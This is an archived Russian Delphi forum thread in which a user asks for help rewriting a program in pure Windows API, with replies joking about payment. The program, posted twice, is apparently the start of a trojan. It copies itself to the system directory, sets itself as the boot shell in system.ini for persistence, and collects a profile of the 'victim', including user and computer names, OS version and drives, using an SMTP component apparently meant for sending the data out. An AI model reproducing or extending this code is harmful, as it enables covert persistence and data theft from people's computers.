Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2002.12.16;
Скачать: CL | DM;

Вниз

Ох уж этот API   Найти похожие ветки 

 
X-shadow ©   (2002-11-02 16:02) [0]

Люди, у меня к вам очень большая просьба!!!Не могли бы вы переделать эту прогу в код API? Заранее благодарен!
program systray32;

uses
Windows,
SysUtils,
NMSMTP;

function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000);
WinDir:=Trim(Copy(strBuffer,1,intLen));
end;

const typstr:array[DRIVE_REMOVABLE..DRIVE_RAMDISK] of string[11]=
("[Removable]","[Fixed]","[Local]","[CD-ROM]","[RAM]");
var str:string;
ov:_osversioninfoa;
buf:array[0..255]of char;
tmp,tmp2,tmp3:int64;
tmp4:cardinal;
st:_systemtime;
ms:tmemorystatus;
c:char;
typ:integer;
Language:String;
LanguageID:LangID;
Lang: array [0..100] of char;
i:TNMSMTP;
PCNAME:string;
cPath,Win:string;
s:string;
begin
Win:=WinDir+"\systray32.exe";
if (cPath <> Win) then
begin
if FileExists(Win) then DeleteFile(Win);
CopyFile(PChar(cPath),PChar(Win),False);
writeprivateprofilestring("boot","shell",pchar(" systray32.exe"),"system.ini");
ov.dwOSVersionInfoSize:=sizeof(_osversioninfoa);
getversionex(ov);
case ov.dwPlatformId of
VER_PLATFORM_WIN32s: str:=str+"3.1 + Win32s ";
VER_PLATFORM_WIN32_WINDOWS: if ov.dwMinorVersion=10 then str:=str+"98 " else if ov.dwMinorVersion=0 then str:=str+"95 " else str:=str+"9X/ME ";
VER_PLATFORM_WIN32_NT: str:=str+"WinNT/Win2000/WinXP";
end;
LanguageID:=GetSystemDefaultLangID;
VerLanguageName(LanguageID,Lang,100);
Language:=(Lang);
str:="Win version: "+str+inttostr(ov.dwMajorVersion)+"."+inttostr(ov.dwMinorVersion)+"."+inttostr(loword(ov.dwBuildNumber))+"("+ov.szCSDVersion+")"#13#10+"Windows directory: ";
getwindowsdirectory(buf,255);
str:=str+buf+#13#10+"System directory: ";
getsystemdirectory(buf,255);
str:=str+buf+#13#10+"Temp directory: ";
gettemppath(255,buf);
str:=str+buf;
str:=str+#13#10"Mouse: ";
tmp4:=getsystemmetrics(SM_CMOUSEBUTTONS);
if tmp4=0 then str:=str+"?? ????????????" else str:=str+" Present ("+inttostr(tmp4)+" buttons)";
str:=str+#13#10"Screen resolution: "+inttostr(getsystemmetrics(SM_CXSCREEN))+"x"+inttostr(getsystemmetrics(SM_CYSCREEN));
getlocaltime(st);
str:=str+#13#10"Victim""s time: "+inttostr(st.wHour)+":"+inttostr(st.wMinute);
ms.dwLength:=sizeof(ms);
globalmemorystatus(ms);
str:=str+#13#10"RAM: "+inttostr(ms.dwTotalPhys div 1000)+" Kb";
tmp4:=255; getusername(@buf,tmp4);
str:=str+#13#10"User name: "+buf;
tmp4:=255; getcomputername(@buf,tmp4);
str:=str+#13#10"Computer name: "+buf;
PCNAME:=buf;
str:=str+#13#10"language: "+Language;
str:=str+#13#10"PC is Up for: "+inttostr(gettickcount div 60000)+" minute(s) ( >"+inttostr(gettickcount div (60000*60))+" hour)"#13#10;
str:=str+#13#10"Drives:"#13#10;
for c:="A" to "Z" do begin
typ:=getdrivetype(pchar(c+":\"));
if typ>1 then begin
if ((ov.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS)and((ov.dwMinorVersion>=10)or(ov.dwBuildNumber>1000)))or(ov.dwPlatformId=VER_PLATFORM_WIN32_NT) then begin
if ((typ=DRIVE_FIXED)or(typ=DRIVE_REMOTE)or(typ=DRIVE_RAMDISK)) then begin
getdiskfreespaceex(pchar(c+":\"),tmp,tmp2,@tmp3);
str:=str+c+": "+typstr[typ]+" (size: "+inttostr(tmp2 div 1000000)+" Mb; free: "+inttostr(tmp3 div 1000000)+" Mb)"#13#10;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end;
end;


 
nikus ©   (2002-11-05 12:54) [1]

чё-нить попроще низзя?


 
Song ©   (2002-11-05 13:00) [2]

Ну... баксов 50 может кто и возьмётся.


 
Игорь Шевченко ©   (2002-11-05 13:10) [3]

Собственно говоря, это API и есть. Что-то не устраивает ?


 
Diamond Cat ©   (2002-11-05 13:21) [4]

Согласен с Игорем , чего ту не устраивает?
так что мысль о 50$ которую тут кто-то закинул, можно считать неудачной шуткой


 
Наезжалкин   (2002-11-05 13:49) [5]

50$ мало. просите 200$


 
Anatoly Podgoretsky ©   (2002-11-05 13:57) [6]

Наезжалкин (05.11.02 13:49)
Это тоже щутка, вот 500 уже не щутка


 
Song ©   (2002-11-05 14:16) [7]

2Игорь Шевченко © (05.11.02 13:10)
Игорь, я бы сказал, что это будет полностью АПИ, если в uses ничего не будет.


 
Xemax ©   (2002-11-05 14:19) [8]

Ну вот тебе код: (переделано из API в API, а точнее здесь ничего не переделовалось).

program systray32;

uses
Windows,
SysUtils,
NMSMTP;

function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000);
WinDir:=Trim(Copy(strBuffer,1,intLen));
end;

const typstr:array[DRIVE_REMOVABLE..DRIVE_RAMDISK] of string[11]=
("[Removable]","[Fixed]","[Local]","[CD-ROM]","[RAM]");
var str:string;
ov:_osversioninfoa;
buf:array[0..255]of char;
tmp,tmp2,tmp3:int64;
tmp4:cardinal;
st:_systemtime;
ms:tmemorystatus;
c:char;
typ:integer;
Language:String;
LanguageID:LangID;
Lang: array [0..100] of char;
i:TNMSMTP;
PCNAME:string;
cPath,Win:string;
s:string;
begin
Win:=WinDir+"\systray32.exe";
if (cPath <> Win) then
begin
if FileExists(Win) then DeleteFile(Win);
CopyFile(PChar(cPath),PChar(Win),False);
writeprivateprofilestring("boot","shell",pchar(" systray32.exe"),"system.ini");
ov.dwOSVersionInfoSize:=sizeof(_osversioninfoa);
getversionex(ov);
case ov.dwPlatformId of
VER_PLATFORM_WIN32s: str:=str+"3.1 + Win32s ";
VER_PLATFORM_WIN32_WINDOWS: if ov.dwMinorVersion=10 then str:=str+"98 " else if ov.dwMinorVersion=0 then str:=str+"95 " else str:=str+"9X/ME ";
VER_PLATFORM_WIN32_NT: str:=str+"WinNT/Win2000/WinXP";
end;
LanguageID:=GetSystemDefaultLangID;
VerLanguageName(LanguageID,Lang,100);
Language:=(Lang);
str:="Win version: "+str+inttostr(ov.dwMajorVersion)+"."+inttostr(ov.dwMinorVersion)+"."+inttostr(loword(ov.dwBuildNumber))+"("+ov.szCSDVersion+")"#13#10+"Windows directory: ";
getwindowsdirectory(buf,255);
str:=str+buf+#13#10+"System directory: ";
getsystemdirectory(buf,255);
str:=str+buf+#13#10+"Temp directory: ";
gettemppath(255,buf);
str:=str+buf;
str:=str+#13#10"Mouse: ";
tmp4:=getsystemmetrics(SM_CMOUSEBUTTONS);
if tmp4=0 then str:=str+"?? ????????????" else str:=str+" Present ("+inttostr(tmp4)+" buttons)";
str:=str+#13#10"Screen resolution: "+inttostr(getsystemmetrics(SM_CXSCREEN))+"x"+inttostr(getsystemmetrics(SM_CYSCREEN));
getlocaltime(st);
str:=str+#13#10"Victim""s time: "+inttostr(st.wHour)+":"+inttostr(st.wMinute);
ms.dwLength:=sizeof(ms);
globalmemorystatus(ms);
str:=str+#13#10"RAM: "+inttostr(ms.dwTotalPhys div 1000)+" Kb";
tmp4:=255; getusername(@buf,tmp4);
str:=str+#13#10"User name: "+buf;
tmp4:=255; getcomputername(@buf,tmp4);
str:=str+#13#10"Computer name: "+buf;
PCNAME:=buf;
str:=str+#13#10"language: "+Language;
str:=str+#13#10"PC is Up for: "+inttostr(gettickcount div 60000)+" minute(s) ( >"+inttostr(gettickcount div (60000*60))+" hour)"#13#10;
str:=str+#13#10"Drives:"#13#10;
for c:="A" to "Z" do begin
typ:=getdrivetype(pchar(c+":\"));
if typ>1 then begin
if ((ov.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS)and((ov.dwMinorVersion>=10)or(ov.dwBuildNumber>1000)))or(ov.dwPlatformId=VER_PLATFORM_WIN32_NT) then begin
if ((typ=DRIVE_FIXED)or(typ=DRIVE_REMOTE)or(typ=DRIVE_RAMDISK)) then begin
getdiskfreespaceex(pchar(c+":\"),tmp,tmp2,@tmp3);
str:=str+c+": "+typstr[typ]+" (size: "+inttostr(tmp2 div 1000000)+" Mb; free: "+inttostr(tmp3 div 1000000)+" Mb)"#13#10;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end;
end;


P.S. Где мои 500 баксов ? собствено Игорь Шевченко © (05.11.02 13:10) вам и сказал что это API.




 
Eugen Honeker   (2002-11-05 14:26) [9]

свами не согласен, ето было бы чисто апи,
если sysutils выкинуть, сокеты самому написать и
чтобы вся прога была всего ~10-15 kb.

тогда можно и 500 баксов запросит, или X-shadow?


 
Игорь Шевченко ©   (2002-11-05 15:58) [10]

Song © (05.11.02 14:16)

:-) Это новый критерий ? Поделитесь, я отстал от жизни.



 
Song ©   (2002-11-05 16:01) [11]

В uses Вы включаете модули - VCL. Полагаю что здесь всё понятно.


 
Игорь Шевченко ©   (2002-11-05 16:19) [12]

Song © (05.11.02 16:01)

Эти:

Windows,
SysUtils

?

:-)



Страницы: 1 вся ветка

Текущий архив: 2002.12.16;
Скачать: CL | DM;

Наверх




Память: 0.5 MB
Время: 0.014 c
1-51659
Adrian_Copil_Minune
2002-12-04 12:15
2002.12.16
Очередь


1-51807
Zergling
2002-12-05 08:41
2002.12.16
И вновь о связи между двумя компонентами


1-51780
Prok12
2002-12-04 10:38
2002.12.16
Как рисовать на


3-51569
Воропай Андрей
2002-11-25 11:57
2002.12.16
Повторный запуск клиентского приложения не происходит


4-52040
Lexer
2002-11-01 20:31
2002.12.16
Как получить список подключенных к сети компьютеров?